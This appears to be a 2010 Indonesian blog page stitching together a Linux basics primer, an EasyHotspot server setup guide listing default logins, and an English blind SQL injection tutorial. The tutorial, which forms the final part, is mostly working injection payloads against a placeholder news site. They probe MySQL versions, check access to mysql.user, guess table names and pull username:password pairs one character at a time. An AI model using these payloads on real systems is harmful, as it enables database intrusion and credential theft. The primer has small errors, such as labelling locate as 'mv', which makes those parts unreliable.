Sabtu, 29 Mei 2010

Dasar-dasar Linux

Dasar-dasar Linux

Linux terinspirasi oleh sistem operasi Unix yang pertama kali muncul pada tahun 1969, dan terus digunakan dan dikembangkan sejak itu. Banyak dari konvensi disain untuk Unix juga ada pada Linux, dan adalah bagian penting untuk memahami dasar-dasar dari sistem Linux.
Orientasi utama dari Unix adalah penggunaan antarmuka baris perintah, dan warisan ini ikut terbawa ke Linux. Jadi antarmuka pengguna berbasis grafik dengan jendela, ikon dan menunya dibangun di atas dasar antarmuka baris perintah. Lagipula, hal ini berarti bahwa sistem berkas Linux tersusun agar dapat dengan mudah dikelola dan diakses melalui baris perintah.

Direktori dan Sistem Berkas

Sistem berkas Linux dan Unix diorganisir dalam struktur hirarki, seperti pohon. Level tertinggi dari sistem berkas adalah / atau direktori root. Dalam filosofi disain Unix dan Linux, semua dianggap sebagai berkas, termasuk hard disks, partisi dan removable media. Ini berarti bahwa semua berkas dan direktori (termasuk cakram dan partisi lain) ada di bawah direktori root.
Sebagai contoh, /home/jebediah/cheeses.odt menampilkan alur (path) ke berkas cheeses.odt yang ada di dalam direktori jebediah yang mana ada di bawah direktori home, yang berada di bawah direktori root (/).
Di bawah direktori root (/), ada beberapa kumpulan direktori sistem penting yang umum digunakan oleh banyak distribusi Linux lainnya. Di bawah ini adalah daftar dari direktori umum yang berada tepat di bawah direktori root (/) :
  • /bin - aplikasi biner penting
  • /boot - lokasi berkas konfigurasi untuk boot.
  • /dev - berkas peranti (device)
  • /etc - berkas konfigurasi, skrip startup, dll (etc)...
  • /home - direktori pangkal (home) untuk pengguna
  • /lib - libraries yang diperlukan oleh sistem
  • /lost+found - menyediakan sistem lost+found untuk berkas yang berada dibawah direktori root (/)
  • /media - mount (memuat) removable media seperti CD-ROM, kamera digital, dll...
  • /mnt - untuk me-mount sistem berkas
  • /opt - tempat lokasi untuk menginstal aplikasi tambahan (optional)
  • /proc - direktori dinamis khusus yang menangani informasi mengenai kondisi sistem, termasuk proses-proses (processes) yang sedang berjalan
  • /root - direktori pangkal untuk root, diucapkan 'slash-root'
  • /sbin - sistem biner penting
  • /sys - mengandung informasi mengenai system
  • /tmp - berkas sementara (temporary)
  • /usr - tempat aplikasi dan berkas yang sering digunakan oleh pengguna (users)
  • /var - berkas variabel seperti log dan database

Hak Akses

Semua berkas dalam sistem Linux mempunyai hak akses yang dapat mengizinkan atau mencegah orang lain dari menilik, mengubah atau mengeksekusi. Pengguna super "root" mempunyai kemampuan untuk mengakses setiap berkas dalam sistem. Setiap berkas memiliki pembatasan akses, pembatasan pengguna, dan memiliki asosiasi pemilik/grup.
Setiap berkas dilindungi oleh tiga lapis hak akses berikut ini:
  • pengguna
    berlaku bagi pengguna yang adalah pemilik dari suatu berkas
  • grup
    berlaku bagi grup yang berhubungan dengan suatu berkas
  • lainnya
    berlaku bagi semua pengguna lainnya
Di dalam setiap dari tiga setelan hak izin ada hak izin sesungguhnya. Hak izin, dan cara penggunaannya untuk berkas dan direktori, diuraikan dibawah ini:
  • baca
    berkas dapat ditampilkan/dibuka
    isi direktori dari ditampilkan
  • tulis
    berkas dapat disunting atau dihapus
    isi direktori dari dimodifikasi
  • eksekusi
    berkas eksekusi dapat dijalankan sebagai program
    direktori dapat dimasuki
Untuk menilik dan menyunting hak izin pada berkas dan direktori, buka Applications->Accessories->Home Folder dan klik kanan di berkas atau direktori. Kemudian pilih Properties. Info hak izin ada di tab Permissions dan Anda dapat mengubah seluruh level hak izin, apabila Anda adalah pemilik dari berkas tersebut.
Untuk mempelajari lebih lanjut mengenai hak izin berkas di Linux, baca halaman hak izin berkas di Wiki Ubuntu.

Terminal

Bekerja dengan baris perintah tidaklah tugas yang menakutkan seperti yang Anda pikir sebelumnya. Tidak dibutuhkan pengetahuan khusus untuk mengetahui bagaimana menggunakan baris perintah, ini adalah program seperti yang lainnya. Semua tugas di Linux dapat diselesaikan menggunakan baris perintah, walaupun telah ada alat berbasis grafik untuk semua program, tetapi kadang-kadang itu semua tidak cukup. Disinilah baris perintah akan membantu Anda.
Terminal berada di Applications->Terminal . Terminal sering disebut command prompt atau shell. Di masa lalu, hal ini adalah cara pengguna untuk berinteraksi dengan komputer, dan para pengguna Linux berpendapat bahwa penggunaan perintah melalui shell akan lebih cepat dibanding melalui aplikasi berbasis grafik dan hal ini masih berlaku sampai sekarang. Disini Anda akan mempelajari bagaimana menggunakan terminal.
Kegunaan awal dari terminal adalah sebagai peramban (browser) berkas dan kenyataannya saat ini masih digunakan sebagai peramban berkas, di saat lingkungan berbasis grafik tidak tersedia. Anda dapat menggunakan terminal sebagai peramban berkas untuk melihat berkas dan membatalkan perubahan yang telah dibuat.

Perintah Umum


Menilik Direktori - ls
Perintah ls (LiSt) melihat daftar berkas dalam suatu direktori.
Membuat Direktori: - mkdir (nama direktori)
Perintah mkdir (MaKeDIRectory) untuk membuat direktori.
Mengubah Direktori: - cd (/direktori/lokasi)
Perintah cd perintah (ChangeDirectory) akan mengubah dari direktori Anda saat ini ke direktori yang Anda tentukan.
Menyalin Berkas/Direktori: - cp (nama berkas atau direktori) (ke direktori atau nama berkas)
Perintah cp (CoPy) akan menyalin setiap berkas yang Anda tentukan. Perintah cp -r akan menyalin setiap direktori yang Anda tentukan.
Menghapus Berkas/Direktori: - rm (nama berkas atau direktori)
Perintah rm perintah (ReMove) akan menghapus setiap berkas yang Anda tentukan. Perintah rm -rf akan menghapus setiap direktori yang Anda tentukan.
Ganti Name Berkas/Direktori - mv (nama berkas atau direktori)
Perintah mv (MoVe) akan mengganti nama/memindahkan setiap berkas atau direktori yang Anda tentukan.
Mencari Berkas/Direktori: - mv (nama berkas atau direktori)
Perintah locate akan setiap nama berkas yang anda tentukan yang ada di dalam komputer. Perintah ini menggunakan indeks dari berkas dalam sistem Anda untuk bekerja dengan cepat: untuk memutakhirkan indeks ini jalankan perintah updatedb. Perintah ini berjalan otomatis setiap hari, apabila komputer Anda nyala terus setiap hari. Dan perintah ini harus dijalankan dengan hak istimewa administratif (lihat “Root Dan Sudo”).
Anda juga dapat menggunakan wildcard untuk mencocokkan satu atau lebih berkas, seperti "*" (untuk semua berkas) atau "?" (untuk mencocokkan satu karakter).
Untuk pengenalan lebih lanjut mengenai baris perintah Linux, silakan baca pengenalan baris perintah di wiki Ubuntu.

Penyuntingan Teks

Semua konfigurasi dan setelan di Linux tersimpan di dalam berkas teks. Walaupun biasanya Anda menyunting konfigurasi ini melalui antarmuka berbasis grafik, sesekali mungkin Anda harus menyuntingnya secara manual. Geditadalah editor teks baku di Ubuntu, yang dapat Anda luncurkan dengan mengeklik Applications->Accessories->Mousepad di sistem menu desktop.
Anda juga dapat menjalankan Mousepad lewat baris perintah menggunakan gksudo, yang akan menjalankan Mousepad dengan hak akses administratif, dalam rangka untuk mengubah berkas konfigurasi.
Jika Anda ingin menggunakan editor teks dari baris perintah, Anda dapat menggunakan nano, editor teks sederhana yang mudah dipakai. Saat menjalankannya dari baris perintah, selalu gunakan perintah berikut, untuk memastikan editor tidak memasukkan jeda baris:
nano -w
Untuk informasi lebih lanjut bagaimana menggunakan nano, silakan lihat panduan di wiki.
Selain ini ada juga beberapa editor berbasis terminal yang tersedia di Ubuntu, paling populer adalah seperti VIM dan Emacs. Aplikasi ini lebih kompleks untuk digunakan dibandingkan nano, akan tetapi lebih handal.

Root Dan Sudo

Pengguna root di GNU/Linux adalah pengguna yang mempunyai akses administratif untuk mengelola sistem. Pengguna biasa tidak mempunyai akses ini karena alasan keamanan. Akan tetapi, Kubuntu tidak menyertakan pengguna root. Malahan, akses pengelolaan diberikan kepada pengguna individu, yang dapat menggunakan aplikasi "sudo" untuk melakukan tugas pengelolaan. Akun pengguna pertama yang Anda buat pada sistem saat instalasi akan, dengan baku, mempunyai akses ke sudo. Anda dapat membatasi atau mengaktifkan akses sudo ke pengguna lain dengan aplikasi Users and Groups (lihat “Mengelola Pengguna dan Grup” untuk informasi lebih lanjut).
Ketika Anda menjalankan aplikasi yang membutuhkan hak akses root, sudo akan menanyakan Anda untuk memasukkan kata sandi pengguna normal. Hal ini untuk memastikan agar aplikasi berbahaya tidak merusak sistem Anda, dan berfungsi sebagai pengingat bahwa Anda sedang melakukan tugas administratif sistem yang mengharuskan Anda agar berhati-hati!
Untuk menggunakan sudo pada baris perintah, cukup ketik "sudo" sebelum perintah yang Anda ingin jalankan. Sudo kemudian akan menanyakan kata sandi.
Sudo akan mengingat kata sandi Anda untuk waktu yang telah ditentukan sebelumnya (bakunya 15 menit). Fitur ini didisain untuk mengizinkan pengguna melakukan multitugas administratif tanpa harus menanyakan kata sandi setiap waktu.
[Catatan]
Harap berhati-hati ketika melakukan tugas administratif -- sebab dapat merusak sistem Anda!
Beberapa tips lain untuk menggunakan sudo:
  • Untuk menggunakan terminal "root", ketik "sudo -i" pada baris perintah.
  • Seluruh grup perkakas konfigurasi berbasis grafik dalam Ubuntu sudah menggunakan sudo, jadi Anda akan ditanyakan kata sandi jika dibutuhkan.
  • Ketika menjalankan perkakas berbasis grafis dengan "sudo", cobalah jalankan dengan "gksudo". Perintah ini akan membuka window kecil yang akan menanyakan kata sandi pengguna. "gksudo" sangat berguna jika Anda ingin men-setup launcher untuk Synaptic di panel Anda, atau aplikasi lainnya.
  • Untuk informasi mengenai program sudo dan penjelasan tentang tidak adanya pengguna root di Ubuntu, silakan baca halaman sudo di wiki Ubuntui.

Bantuan Lebih Lanjut

Banyak sekali informasi mengenai Linux yang tersedia di Internet. Untuk memulai, silakan lihat tutorial bagus mengenai Getting Started with Linux.
Jika Anda telah mempunyai dasar pada Linux, tutorial mengenai Intermediate Level User Linux Course juga baik untuk dibaca.

Hotspot Server + Easy Hotspot



Hotspot Server
Yg harus disiapkan :
->1 PC, minimal Pentium 3,
->RAM 256.
->1 buah CD easy hotspot, bisa di download,
->2 NIC
->AP

Langsung aja lu Install 
Hotspot Server dengan billing system,
berhubung Live CD, jadi langsung aja klik icon install pada bagian desktop.
buat nama
user = aziz
password = aziz

untuk manualnya silahkan klik di sini atau di situs asalnya:
http://easyhotspot.sourceforge.net/doc.php

#nano /var/www/system/application/config/easyhotspot.php
Ganti identitasnya sesuai dengan posisi anda

#nano /var/www/system/application/config/config.php
Temukan Baris $config['base_url']
Ganti dengan $config['202.134.56.254']
IP tersebut adalah IP Interface Local

#nano /etc/freeradius/radiusd.conf
Temukan Baris ‘#noresetcounter’ and ‘#octetslimit’
Hilangkan tanda pagarnya menjadi seperti ini.
noresetcounter
octetslimit

#ifconfig
Maka yg akan mucul adalah interface eth3 dan eth4 jika anda memasang 2 NIC
ganti eth3 tersebut menjadi eth0
ganti eth4 tersebut menjadi eth1
#nano /etc/udev/rules.d/70-persistent-net.rules

SUBSYSTEM=="net", DRIVERS=="?*",
ATTRS{address}=="00:16:d3:5e:8f:f3", NAME="eth3"
# PCI device 0x14e4:0x4311 (bcm43xx)
SUBSYSTEM=="net", DRIVERS=="?*",
ATTRS{address}=="00:19:7e:a5:45:84", NAME="eth4"

to

SUBSYSTEM=="net", DRIVERS=="?*",
ATTRS{address}=="00:16:d3:5e:8f:f3", NAME="eth0"
# PCI device 0x14e4:0x4311 (bcm43xx)
SUBSYSTEM=="net", DRIVERS=="?*",
ATTRS{address}=="00:19:7e:a5:45:84", NAME="eth1"

Jangan lupa untuk mengganti semua password, seperti password mysql, phpmyadmin,..

Untuk membuat user managementnya.
buka browser dan ketikan ip Local
Untuk user defaultnya
username = vcool
password = vcool123

username = admin
password = admin123

OKe deh, sekarang tinggal nyetting AP nya.
Tp lk mw jajal per to per aja dulu pake cable UTP.
Oke BOS, Good Luck


Another blind Sqli

Blind injection is a little more complicated the classic injection but it can be done :D


I must mention, there is very good blind sql injection tutorial by xprog, so it's not bad to read it :D

Let's start with advanced stuff.

I will be using our example

http://www.site.com/news.php?id=5


when we execute this, we see some page and articles on that page, pictures etc...

then when we want to test it for blind sql injection attack

http://www.site.com/news.php?id=5 and 1=1 <--- this is always true and the page loads normally, that's ok. now the real test http://www.site.com/news.php?id=5 and 1=2 <--- this is false


so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection.

1) Get the MySQL version

to get the version in blind attack we use substring


i.e

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4


this should return TRUE if the version of MySQL is 4.

replace 4 with 5, and if query return TRUE then the version is 5.

i.e

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5


2) Test if subselect works

when select don't work then we use subselect

i.e

http://www.site.com/news.php?id=5 and (select 1)=1


if page loads normally then subselects work.

then we gonna see if we have access to mysql.user


i.e

http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1


if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.

3). Check table and column names

This is part when guessing is the best friend :)


i.e.

http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)


then if the page loads normally without content missing, the table users exits.
if you get FALSE (some article missing), just change table name until you guess the right one :)

let's say that we have found that table name is users, now what we need is column name.

the same as table name, we start guessing. Like i said before try the common names for columns.

i.e

http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1


if the page loads normally we know that column name is password (if we get false then try common names or just guess)

here we merge 1 with the column password, then substring returns the first character (,1,1)


4). Pull data from database

we found table users i columns username password so we gonna pull characters from that.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80


ok this here pulls the first character from first user in table users.

substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value

and then compare it with simbol greater then > .

so if the ascii char greater then 80, the page loads normally. (TRUE)

we keep trying until we get false.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95


we get TRUE, keep incrementing

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98


TRUE again, higher

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99


FALSE!!!

so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'.

then let's check the second character.


http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99


Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99


TRUE, the page loads normally, higher.


http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107


FALSE, lower number.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104


TRUE, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105


FALSE!!!

we know that the second character is char(105) and that is 'i'. We have 'ci' so far

so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end).

There are some tools for Blind SQL Injection, i think sqlmap is the best, but i'm doing everything manually,

cause that makes you better SQL INJECTOR :D

Hope you learned something from this paper.

Have FUN! (: